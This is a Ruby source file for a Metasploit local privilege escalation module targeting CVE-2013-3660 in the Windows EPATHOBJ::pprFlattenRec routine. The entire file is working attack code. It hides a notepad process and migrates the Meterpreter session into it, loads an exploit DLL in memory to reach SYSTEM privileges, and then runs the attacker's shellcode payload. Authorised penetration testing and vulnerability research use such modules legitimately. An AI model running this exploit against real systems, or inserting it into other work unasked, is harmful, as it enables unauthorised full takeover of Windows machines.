137 lines
3.9 KiB
Ruby
137 lines
3.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/windows/priv'
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require 'msf/core/post/windows/process'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
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'Description' => %q{
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This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
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of uninitialized data which allows to corrupt memory. At the moment, the module has
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been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
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'progmboy <programmeboy[at]gmail.com>', # Original Exploit
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'Keebie4e', # Metasploit integration
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'egypt', # Metasploit integration
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'sinn3r', # Metasploit integration
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'Meatballs', # Metasploit integration
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'juan vazquez' # Metasploit integration
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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[ 'Automatic', { } ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'CVE', '2013-3660' ],
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[ 'EDB', '25912' ],
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[ 'OSVDB', '93539' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
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],
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'DisclosureDate' => 'May 15 2013',
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'DefaultTarget' => 0
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}))
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end
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def check
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os = sysinfo["OS"]
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if os =~ /windows/i
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return Exploit::CheckCode::Vulnerable
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end
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end
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def exploit
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if sysinfo["Architecture"] =~ /wow64/i
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fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
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elsif sysinfo["Architecture"] =~ /x64/
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fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
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end
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print_status("Creating a new process and migrating...")
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cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
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new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
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new_pid = new_proc.pid
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if not new_pid
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print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
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else
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print_status("Migrating to #{new_pid}")
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migrate_res = false
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begin
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migrate_res = session.core.migrate(new_pid)
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rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
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migrate_res = false
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end
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if migrate_res
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print_good("Successfully migrated to process #{new_pid}")
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else
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print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
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end
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end
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print_status("Trying to load the exploit and executing...")
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session.core.load_library({
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"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
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"UploadLibrary" => true,
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"Extension" => false,
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"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
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"SaveToDisk" => false
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})
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print_status("Checking privileges after exploitation...")
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if is_system?
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print_good("Exploitation successful!")
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else
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fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
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end
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if execute_shellcode(payload.encoded)
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print_good("Enjoy!")
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else
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fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
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end
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end
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end
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